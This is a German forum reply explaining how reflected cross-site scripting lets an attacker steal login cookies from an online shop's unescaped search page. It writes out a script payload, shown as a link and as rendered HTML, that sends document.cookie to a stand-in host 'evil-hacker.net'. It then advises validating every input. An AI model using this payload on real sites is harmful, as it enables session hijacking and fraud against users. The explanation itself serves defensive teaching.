Robert Bienert: Cross-Site-Scripting und Cookie

Beitrag lesen

Moin!

grundsaetzlich ist alles, was ich nicht nachvollziehen kann default falsch.

Na, da hab ich eigentlich schon keine Lust mehr am Beantworten deiner Frage, aber sie es als besondere Geste, dass du doch noch zu einem umrissenen Beispiel kommst.

Die im Web gefundenen Beispiele haben definitiv auf meinem Apache-Server NICHT funktioniert.

Das glaube ich dir gerne, weil Cross-Site-Scripting eine Interaktion zwischen anfälligem Server und Scripting-fähigen Client ist, d.h. es läuft weder nur auf dem Server als auch nur auf dem Client/Browser.

mir wuerde ein funktionierendes Beispiel vollkommen reichen.
Aber das habe ich bislang nirgends finden koennen.

Achja, ich wollte mal ein Demo-Beispiel online stellen, hab ich nur leider irgendwie gelöscht und bin bislang noch nicht dazu gekommen, es zu rekonstruieren, deshalb skizziere ich nur grob:

Nehmen wir an, die Suche eines Onlineshops wäre anfällig für XSS, d.h. bei der Ausgabe „Ihre Suche war …“ wird der eigentliche Suchbegriff nicht auf HTML-Code gecheckt und maskiert. Weiterhin sei unser Opfer, Otto Normalverbraucher, so bequem, dass er sich per Cookie nicht immer an- und abmelden muss. Nun schickt unser Mann Evil Hacker an Otto eine Mail mit dem Tipp, er solle doch mit folgendem Link mal nach den besten [Produktname bitte ausfüllen] suchen:

http://www.online-shop.com/search?for=Produkt<script type="text/javascript">var i=new Image();i.src='http://evil-hacker.net/cgi-bin/steel-cookie?cookie='+document.cookie;</script>

Beim Anklicken des Links wird die Suche mit diesem unhandlichen Parameter gefüttert und begrüßt Otto mit

  
<p>Ihre Suchergebnisse für Produkt<script type="text/javascript">var i=new Image();i.src='http://evil-hacker.net/cgi-bin/steel-cookie?cookie='+encodeURI(document.cookie);</script></p>  

Auf Evil Hackers Webserver lauert schon /cgi-bin/steel-cookie, das Ottos Cookie entgegen nimmt und für Evil Hacker gerade den neuen Porsche 911, eine Traumvilla im Schwarzwald und den 18-Karat-Goldring, mit dem er endlich die Sekretärin vom Chef rumkriegen will, bestellt.

Mein privater "Spielplatz" umfasst derzeit 29 locale Domains, genug Platz zum Testen ...

Überall, wo deine Gäste Eingaben machen können, d.h. selbst Cookie-Werte und URL-Parameter sind die Schwachstellen für XSS. Du musst daher immer wissen, was deine Webanwendung für Parameter möchte und am Besten alles andere als Fehler behandeln.

Wahr ist jedoch, dass man nichts "bekaempfen" kann, dass man nicht zu fassen bekommt.

Solange du nur mit statischem Inhalt, also HTML-Dateien, zu tun hast und deinem Browser JavaScript (im IE auch VBScript) verbietest, wirst du XSS reichlich selten zu Gesicht bekommen.

D.h. hier verkehrt sich "Geheimhaltung" in ihr Gegenteil zum Schaden Dritter.

?

Na-ja, vielleicht ist das auch beabsichtigt.
Man weiss es nicht ... ;-)

???

HTH, Robert